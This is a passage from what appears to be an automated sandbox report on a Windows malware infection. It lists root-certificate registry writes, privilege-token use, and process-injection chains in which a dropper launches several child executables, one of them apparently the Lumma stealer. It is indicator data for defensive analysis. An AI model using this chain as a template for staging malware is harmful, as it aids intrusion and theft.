16a04255564ec1e3b420ad5f9bb6555f481012ef24b3567ccc051bb2c92aa96811927e2fe93f44f1d0c6901b4bddf76122ec69861540b3e2a56a77f3b3f25427da492a6419f439de7c7686d99c72570a34f5f52fd039681bdb45a518e380543b93109014c21401aaa5762d7d0fe456f3ff732a6f8ec1d880fbbb901d1b1a499c0463c4421df36fbbb3494add47ed49ba022d2a8cc70356b9e268d0c1b086b58c4b3aae8d1c88844cfd50af99267608c280ad287955d32de6 C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0483ED3399AC3608058722EDBC5E4600E3BEF9D7 C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B9CD0CF69835EABF3F137F2049E4C924878477DB\Blob = 1400000001000000140000000213eeae1c20382ca9f06fea5f9f073a93ef47740b000000010000001c0000004d004f00500041005300200052006f006f0074002000430041000000090000000100000020000000301e06082b0601050507030106082b0601050507030206082b06010505070304030000000100000014000000b9cd0cf69835eabf3f137f2049e4c924878477db0f00000001000000140000009af0613fd2c93fda54080ee4a9e94c6d12853d8020000000010000009d0300003082039930820281a00302010202103cc2814b00e7524d9baa47b7e161f50e300d06092a864886f70d0101050500304c310b3009060355040613024b52311c301a060355040a1313476f7665726e6d656e74206f66204b6f726561310d300b060355040b130447504b493110300e06035504031307526f6f74204341301e170d3039313232333131313332345a170d3134313232333131313332345a304c310b3009060355040613024b52311c301a060355040a1313476f7665726e6d656e74206f66204b6f726561310d300b060355040b130447504b493110300e06035504031307526f6f7420434130820121300d06092a864886f70d01010105000382010e00308201090282010040d6a142172c5540df9a7ac391f4e3bd912bf5db5c662f895cfd78d4094c3da7c49c2efaf059b6bdb4d28d2808abaf1341ae8042f4eb5c2d5f7e437a35b5af3fdcc43d364592b2b87e0dbcacc7c164d8de6dceb3a48e507e48f4ad8ed9861935038a7728752d825b4aeca5cb7102f44431834a79ecce65ff1ca13366af5b3265fee6ad87274cfd4f180998647e3fce3756f3c2e0c6999b004b3798ef1c632a95aead03cf3a5c220e3dd9f5707176fb44cf2b002126703ae1aaebcd49fb3b62b8745a56a5f22c923eb500bc84bf60e3426e8da3e064b6ada54398f761dfc5e8e0f0d5a6bda0696f726e8e8d0fcbf6f8ebf6cc5b739dd52df1ce17dbde087fdc8d0203010001a3783076301f0603551d230418301680140213eeae1c20382ca9f06fea5f9f073a93ef4774301d0603551d0e041604140213eeae1c20382ca9f06fea5f9f073a93ef4774300e0603551d0f0101ff04040302010630130603551d20040c300a30080604551d20003000300f0603551d130101ff040530030101ff300d06092a864886f70d0101050500038201010040c5360718f0b66d6789cab796b9d6a60658d74ddd49629cb06ca0e8debd88f1c826954c1193bb4bbc766decbd4334fbd76290bce3ad19bc388f9c0673d84b001099a7cf083ea033535f6fea6db4aee94e99ce4e2a92d5920b7725bc559578ae845db212ed4d0f6aa953d949d752bb09841dd2ee5446dda0881ea928e1be17ff7ccaf333f2e541af7770157da0c48175d119a89f1a6fa4d276721f0e431ba3b6f6b5735ed297fd2ff35604a913cc12a716d16db2220cf10635634593ca89fafd1e094f27b5547711047314dce99ebb0f9be1c22553c4f337e1cd2d261320b88cb6ed71765f4fc1ff181bb387c32f8d0b52dac4bdb34605a2a89127ccf801a632 C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B12E13634586A46F1AB2606837582DC4ACFD9497\Blob = 190000000100000010000000a58bae7fa6dfd185a17c7b48421aaddd0f0000000100000014000000d49ba8ca0db5e6c661b57b56f33b4f05163ff8f253000000010000002400000030223020060a2a817a0181310112010230123010060a2b0601040182373c0101030200c00b00000001000000120000004300650072007400690067006e006100000009000000010000005c000000305a06082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b0601050507030906082b0601050507030606082b0601050507030706082b06010505080202030000000100000014000000b12e13634586a46f1ab2606837582dc4acfd94971400000001000000140000001aedfe413990b42459be01f252d545f65a39dc112000000001000000ac030000308203a830820290a003020102020900fedce3010fc948ff300d06092a864886f70d01010505003034310b300906035504061302465231123010060355040a0c094468696d796f7469733111300f06035504030c084365727469676e61301e170d3037303632393135313330355a170d3237303632393135313330355a3034310b300906035504061302465231123010060355040a0c094468696d796f7469733111300f06035504030c084365727469676e6130820122300d06092a864886f70d01010105000382010f003082010a0282010100c868f1c9d6d6b3347526821eecb4beea5ce126ed114761e1a27c16784021e4609e5ac863e1c4b19692ff186d6923e12b62f7dde2362f9107b948cf0eec79b62ce7344b700825a33c871b19f281070f389019d311fe86b4f2d15e1e1e96cd806cce3b3193b6f2a0d0a995127da59acc6bc884568a33a9e722155316f0cc17ec575fe9a20a9809dee35f9c6fdc48e3850b155aa6ba9fac48e309b2f7f432de5e34be1c785d425bce0e228f4d90d77d3218b30b2c6abf8e3f141189200e7714b53d940887f7251ed5b26000ec6f2a28256e2a3e186317253f3e442016f626c825ae054ab4e7632cf38c16537e5cfb111a08c146629f22b8f1c28d69dcfa3a5806df0203010001a381bc3081b9300f0603551d130101ff040530030101ff301d0603551d0e041604141aedfe413990b42459be01f252d545f65a39dc1130640603551d23045d305b80141aedfe413990b42459be01f252d545f65a39dc11a138a4363034310b300906035504061302465231123010060355040a0c094468696d796f7469733111300f06035504030c084365727469676e61820900fedce3010fc948ff300e0603551d0f0101ff040403020106301106096086480186f8420101040403020007300d06092a864886f70d0101050500038201010085031e9271f642afe1a3619eebf3c00ff2a5d4da95e6d6be68363d7e6e1f4c8aefd10f216d5ea55263ce12f8ef2ada6feb37fe1302c7cb3b3e226bda612e7fd4723ddd30e11e4c40198c0fd79cd183307b9859dc7dc6b90c294ca133a2eb673a6584d396e2ed7645708fb52bdef923d6496e3c14b5c69f351e50d0c18f6a70440262cbae1d6841a7aa57e853aa07d206f6d514060b9103752c6c72b561959a0d8bb90de7f5df54cddee6d8d609089763e5c12eb0b74426c026c0af55309e3bd5362a1904f45c1effcf2cb7ffd0fd874011d51123bb48c021a9a4282dfd15f8b04e2bf4305b21fc119134be41ef7b9d9775ff9795c096582feabb46d7bbe4d92e C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AEC5FB3FC8E1BFC4E54F03075A9AE800B7F7B6FA C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0409565B77DA582E6495AC0060A72354E64B0192\Blob = 0300000001000000140000000409565b77da582e6495ac0060a72354e64b0192090000000100000074000000307206082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030606082b0601050507030706082b0601050508020206082b06010505070308060a2b0601040182370a0304060a2b0601040182370a030c06082b060105050703090b000000010000001a000000480061006c0063006f006d00200043004100200046004f00000020000000010000001e0300003082031a30820202a003020102020301ba65300d06092a864886f70d01010505003035310b3009060355040613025349310f300d060355040a130648616c636f6d311530130603550403130c48616c636f6d20434120464f301e170d3035303630353130333333315a170d3230303630353130333333315a3035310b3009060355040613025349310f300d060355040a130648616c636f6d311530130603550403130c48616c636f6d20434120464f30820122300d06092a864886f70d01010105000382010f003082010a0282010100bca3260196e59dac1a0202397cacdc064c374aae074875e8271ca431fd0aa7235d7c3f0efaf08c916f5534840374cc033578cd71c1471bbbea216eb807de2192aaacb9de37a21ff49a1c1bc8ee1083d65343c8dde9f3904639720a4efc1229498158263a71130c7b538fdf66723c17dcdee1794a9fe9603e6d35e44d51d11cc01a305c063f7343c8cd36f41ec2878c4f489fda75572a4caf8d543c445f983c50dad018067c606ed284ff6785903d5ec6ebd87aa3b56d0cbe75b8a9da5671365aeeeb49533ee219767c42aba190f1f72fb8ba4a41b42ba42e6136e7d6da7ff59f8db84b5b843550c5bd05aaaac20c74416357198effe146e67b0524fe99dd31bd0203010001a3333031300f0603551d130101ff040530030101ff30110603551d0e040a040848201c620d585225300b0603551d0f040403020106300d06092a864886f70d010105050003820101005b75f5e63046588af70fd14f0b015804b964e4300d3e76d96b13ad1c6ec94cf06ce64211fdeb83ef50d8bb549db4918a5ab5840f8c46cd3c82a8a51e209cd0f54106ca012b98b0ea29501fe2747b5982ca0ae56e4eaeb037ed3eccba32d93f0b682cb2d33cdc38c511d61b33eeb9a26a44931b50ea611b795751569e32d03378b4cf472afbf7cdf1e76de0ba64fb159bbecab1f247017fe04cb7a541ac1ed91a6c91e1d0a84ac35e782b7a80c04fcd255f5027c6bc58759c1db59a5d9573f38466d3cd6d1dcde05ace2038ef9273785e02d68df974d4b789d88cfb7bd58b71d5191726d824493c55bc8287da63bb39d78e91cf34705c734fd050475afbe55a51 C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2252 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 2252 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 2252 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 2252 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 2660 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 2660 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 2660 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 2660 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 2644 wrote to memory of 1616 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\SysWOW64\WerFault.exe
PID 2644 wrote to memory of 1616 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\SysWOW64\WerFault.exe
PID 2644 wrote to memory of 1616 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\SysWOW64\WerFault.exe
PID 2644 wrote to memory of 1616 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\SysWOW64\WerFault.exe
PID 2660 wrote to memory of 332 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 2660 wrote to memory of 332 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 2660 wrote to memory of 332 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 2660 wrote to memory of 332 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 2660 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 2660 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 2660 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 2660 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 1408 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\SysWOW64\WerFault.exe
PID 1408 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\SysWOW64\WerFault.exe
PID 1408 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\SysWOW64\WerFault.exe
PID 1408 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\SysWOW64\WerFault.exe
PID 2660 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 2660 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 2660 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 2660 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\SysWOW64\WerFault.exe
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\SysWOW64\WerFault.exe
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\SysWOW64\WerFault.exe
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\SysWOW64\WerFault.exe
PID 2660 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
PID 2660 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
PID 2660 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
PID 2660 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
PID 1672 wrote to memory of 3004 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\SysWOW64\WerFault.exe
PID 1672 wrote to memory of 3004 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\SysWOW64\WerFault.exe
PID 1672 wrote to memory of 3004 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\SysWOW64\WerFault.exe
PID 1672 wrote to memory of 3004 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\SysWOW64\WerFault.exe
PID 2660 wrote to memory of 948 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 2660 wrote to memory of 948 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 2660 wrote to memory of 948 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 2660 wrote to memory of 948 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 2660 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
PID 2660 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
PID 2660 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
PID 2660 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
